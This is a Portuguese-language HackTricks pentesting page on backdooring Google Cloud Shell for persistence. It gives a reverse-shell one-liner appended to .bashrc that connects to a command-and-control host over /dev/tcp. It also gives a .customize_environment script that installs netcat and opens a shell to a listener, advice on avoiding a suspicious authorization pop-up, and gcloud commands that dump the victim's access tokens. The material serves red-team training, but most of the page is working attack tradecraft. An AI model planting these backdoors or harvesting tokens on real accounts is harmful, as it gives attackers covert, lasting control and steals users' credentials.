GCP - Persistência do Cloud Shell

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloud Shell

Para mais informações, consulte:

GCP - Cloud Shell Enum

Backdoor Persistente

Google Cloud Shell fornece acesso à linha de comando aos seus recursos de nuvem diretamente do seu navegador sem nenhum custo associado.

Você pode acessar o Cloud Shell do Google pela console web ou executando gcloud cloud-shell ssh.

Esta console tem algumas capacidades interessantes para atacantes:

  1. Qualquer usuário do Google com acesso ao Google Cloud tem acesso a uma instância do Cloud Shell totalmente autenticada (Contas de Serviço podem, mesmo sendo Proprietários da organização).
  2. Dita instância manterá seu diretório home por pelo menos 120 dias se nenhuma atividade ocorrer.
  3. Não há capacidades para uma organização monitorar a atividade dessa instância.

Isso basicamente significa que um atacante pode colocar um backdoor no diretório home do usuário e, desde que o usuário se conecte ao GC Shell a cada 120 dias pelo menos, o backdoor sobreviverá e o atacante obterá um shell toda vez que for executado apenas fazendo:

bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Há outro arquivo na pasta inicial chamado .customize_environment que, se existir, será executado toda vez que o usuário acessar o cloud shell (como na técnica anterior). Basta inserir o backdoor anterior ou um como o seguinte para manter a persistência enquanto o usuário usar "frequentemente" o cloud shell:

bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

warning

É importante notar que a primeira vez que uma ação que requer autenticação é realizada, uma janela de autorização pop-up aparece no navegador do usuário. Esta janela deve ser aceita antes que o comando possa ser executado. Se um pop-up inesperado aparecer, isso pode levantar suspeitas e potencialmente comprometer o método de persistência sendo utilizado.

Este é o pop-up da execução de gcloud projects list a partir do cloud shell (como atacante) visualizado na sessão do navegador do usuário:

No entanto, se o usuário tiver usado ativamente o cloudshell, o pop-up não aparecerá e você pode coletar tokens do usuário com:

bash
gcloud auth print-access-token
gcloud auth application-default print-access-token

Como a conexão SSH é estabelecida

Basicamente, essas 3 chamadas de API são usadas:

Mas você pode encontrar mais informações em https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks